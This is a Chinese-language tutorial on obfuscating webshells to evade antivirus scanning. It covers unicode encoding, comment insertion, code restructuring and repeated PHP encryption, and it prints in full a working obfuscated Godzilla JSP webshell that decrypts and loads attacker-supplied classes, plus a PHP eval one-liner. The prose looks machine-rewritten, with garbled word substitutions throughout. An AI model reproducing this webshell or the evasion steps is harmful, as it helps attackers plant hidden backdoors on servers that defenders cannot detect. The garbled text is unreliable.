为了避免被杀软检测到,黑客们会对Webshell进行稠浊免杀。
本文将先容一些Webshell稠浊免杀的思路,帮助安全职员更好地戒备Webshell攻击。
静态免杀是指通过对恶意软件进行稠浊、加密或其他技能手段,使其在静态剖析阶段难以被杀毒软件或安全防护产品所检测出来的方法。
静态免杀的目的是为了规避杀毒软件的检测机制,使恶意软件能够在目标系统上永劫光地存活和实行。
也便是说让webshell只管即便和原来的代码不一致。

稠浊字符

稠浊字符是最基本的稠浊webshell手段之一,稠浊字符集可以使得杀毒软件无法检测到其原有的代码特色。
详细实现便是将webshell的原来的字符编码成其余的字符。
这里以哥斯拉的jsp webshell示例。
由于java是默认支持unicode编码的。

利用php过静态查杀Webshell混杂免杀的一些思绪 React

Java代码示例:

然后可以上传vt查杀可以看到还是会被挺多杀软识别的。

现在可以通过给个提到的编码进行更换原有的关键字,再次上传vt可以创造少报毒了几个杀软。
当然这个只是最大略的方法而已,只是证明能够通过一些字符编码使得特色不那么明显,实战中并不能完备靠字符编码绕过杀软,字符编码紧张在实际稠浊webshell中只能够起到一个赞助浸染。

利用注释

利用注释这种方法是目前较为常用的方法之一,其利用的是部分杀软不识别webshell中的注释的特性,比如杀软匹配的规则是eval()这个函数,那么我们就可以利用注释符号将原来的代码修正成eval/xxxxx/()这种写法去进行绕过,这使得杀软的规则匹配失落败的同时原来的代码还能够正常运行。

Java示例:

然后这边是给原来的webshell加上注释之后,丢到vt上的查杀效果。

值得把稳的是,现在大部分杀软会匹配程序注释规则,但是并不虞味着我们无法利用注释符号去进行绕过。
比如杀软会匹配出/注释内容.../然后选择性忽略注释内部的东西。
那么我们就可以利用String s = "/"; code...; String ss = "/"; code...便是webshell的一行正常代码。
这样杀软可能会把两个字符串/ / 中间的值认为是注释内容从而匹配恶意代码失落败。

改变代码特色

改变代码特色是指修正代码原来的写法但是不改变其功能,由于大部分杀软静态查杀webshell会有一个语句的特色,比如纯挚的php一句话木马eval($_POST['x']);很随意马虎就会被杀软查杀,但是做事器上运行的php代码有一些文件含有eval,然后其参数是根据一系列的函数调用进行通报的就不会被杀软把稳到。
这也便是最随意马虎绕过杀软的一个特性,可以改变程序的代码特色用于绕过杀软。
详细便是比如可以用函数封装webshell某段代码,用三元表达式代替if else,用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替,用for循环代替while循环,也可以是添加任意无用垃圾代码等。

部分代码截图:

可以看到免杀效果实在还不是很空想,由于实际过程中的免杀并不是单一的方法就能够完成的,每每都须要很多种方法稠浊利用效果才会达到令人满意的地步。
以下代码因此上三种方法稠浊利用稠浊的。

全部代码:

<%@ page import="java.io.InputStream" %><%@ page import="javax.crypto.spec.SecretKeySpec" %><%@ page import="javax.crypto.Cipher" %><%@ page import="java.io.ByteArrayOutputStream" %><%@ page import="java.io.OutputStream" %><%@ page import="java.io.IOException" %><%! String xc = "\u0033\u0063\u0036\u0065\u0030"/\u3333/ +/\u3333/"\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061"; class Register extends ClassLoader { public Register(ClassLoader username) { super(username); } public Class Query/\u3333/(byte[] password) { int len = password.length; String s1 = "/"; Class<?> aClass = super.defineClass(password, 0XAFFFF - 0XAFFFF, len); String s2 = "/"; return aClass; } } public byte[] x(byte[] s, boolean m) { // 这行代码换了个顺序 byte[] bs = xc.getBytes(); try { String sss = "/"; String decode = "\u0041\u0045\u0053"; Cipher c = Cipher.getInstance(decode); String ccc = "/"; // if代替了原来的三元表达式 int flag = 0xAFFFF; if (m) { flag = 1; } else { flag = 2; } String acaw = "/"; c.init(flag, new SecretKeySpec(bs, decode)); String ANANAWU = "/"; String string1 = "/"; byte[] bytes = c.doFinal(s); String string12 = "/"; return bytes; } catch (Exception e) { return null; } } public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) { // 添加注释 /o.equls(null)/ int x = 10; int y = 20; // 这里有一些毫无意义的操作 x = (x + y) 2; y = x - y; String meaninglessString = "Hello, this is a meaningless string."; if (x > y) { x = x 2; } else { y = y 2; } String sss = "/"; o./o.equls(null)/equals/o.equls(null)/(bos); String ccc = "/"; o./o.equls(null)/equals/o.equls(null)/(pageContext); String ac = "//"; o.toString/o.equls(null)/(); } public void run2(byte[] data_bytes, HttpSession session) { String py = "\u0070\u0061\u0079" +/as/"" + "\u006c\u006f\u0061\u0064"; Register REG = new Register(this.getClass().getClassLoader()); Class cs = REG.Query(data_bytes); session.setAttribute(py, cs); } public Object os_return(HttpSession session) { String py = "\u0070\u0061\u0079" +/as/"" +/sa/"\u006c\u006f\u0061\u0064"; return session.getAttribute(py); } public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException { byte[] x = x(bos.toByteArray(), true); os.write(x); } public void setAttribute(HttpServletRequest request, String key, Object value) { request.setAttribute(key, value); } public ByteArrayOutputStream getBos() { ByteArrayOutputStream arrOut = null; arrOut = new ByteArrayOutputStream(); return arrOut; }%><% try { String header = request.getHeader/o.equls(null)/("\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068"); String py = "\u0070\u0061\u0079" +/as/"" +/sa/"\u006c\u006f\u0061\u0064"; int length = Integer.valueOf/o.equls(null)/(header); byte[] data_bytes = new byte[/o.equls(null)/length]; InputStream is = request.getInputStream(); // for循环替代了while循环 for (int _num = 0; _num < data_bytes./o.equls(null)/length; _num += is.read(data_bytes, _num, data_bytes.length)); // 原来的false变成了 !true data_bytes = x/o.equls(null)/(/o.equls(null)/data_bytes, /o.equls(null)/!true); OutputStream os = response.getOutputStream(); ByteArrayOutputStream bos = getBos(); boolean flag = session.getAttribute(py) == null; if (flag) { run2(data_bytes, session); } else { setAttribute(request, "\u0070\u0061\u0072\u0061\u006d" +/aaaa/""/SSS/ + "\u0065\u0074\u0065\u0072\u0073", data_bytes); String s = "/";Class cs = (Class) os_return(session);String c = "/"; Object f = (cs).newInstance(); run(f, bos, pageContext); / 垃圾代码 / int a = 10; int b = 20; for (int i = 0; i < 5; i++) { a += b; b -= a; } String meaninglessString = "This is a meaningless string."; int[] numbers = {1, 2, 3, 4, 5}; for (int num : numbers) { if (num % 2 == 0) { // 不实行任何操作 } else { // 不实行任何操作 } } / 垃圾代码 / pull(bos, os); } } catch (Exception e) { }%>

免杀效果:

Ps: 以上代码仅仅供应一个思路,实际过程中并不用如此多代码量,仅须要bypass掉目标做事器上的杀软即可。

利用代码加密工具

上面先容了一些java代码的稠浊,php的稠浊常日来说更加大略,由于php这门措辞特性,使得很多厂商都会利用php代码加密来保护代码使得代码不会被别人轻易破解/修改。
我们可以利用这些加密来实现免杀的功能。

比如随便找一些php在线稠浊哥斯拉的webshell

链接也是没有问题的

虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。

经由3次稠浊的phpwebshell,反正我是认不出来了。

类似aspx的稠浊以及java实在都可以利用代码稠浊的方法去绕过,只须要搜索一下稠浊器即可。

总结

文本紧张分享了一下自己的一些webshell免杀思路。
实在webshell免杀的思路无非便是修正webshell的特色,不管用手段如何终极达到切实其实定是这样的一个目的。
当然个人以为是多种手腕混用效果是最好的,基本上手动稠浊的webshell时效性也比用工具稠浊的webshell要长一些。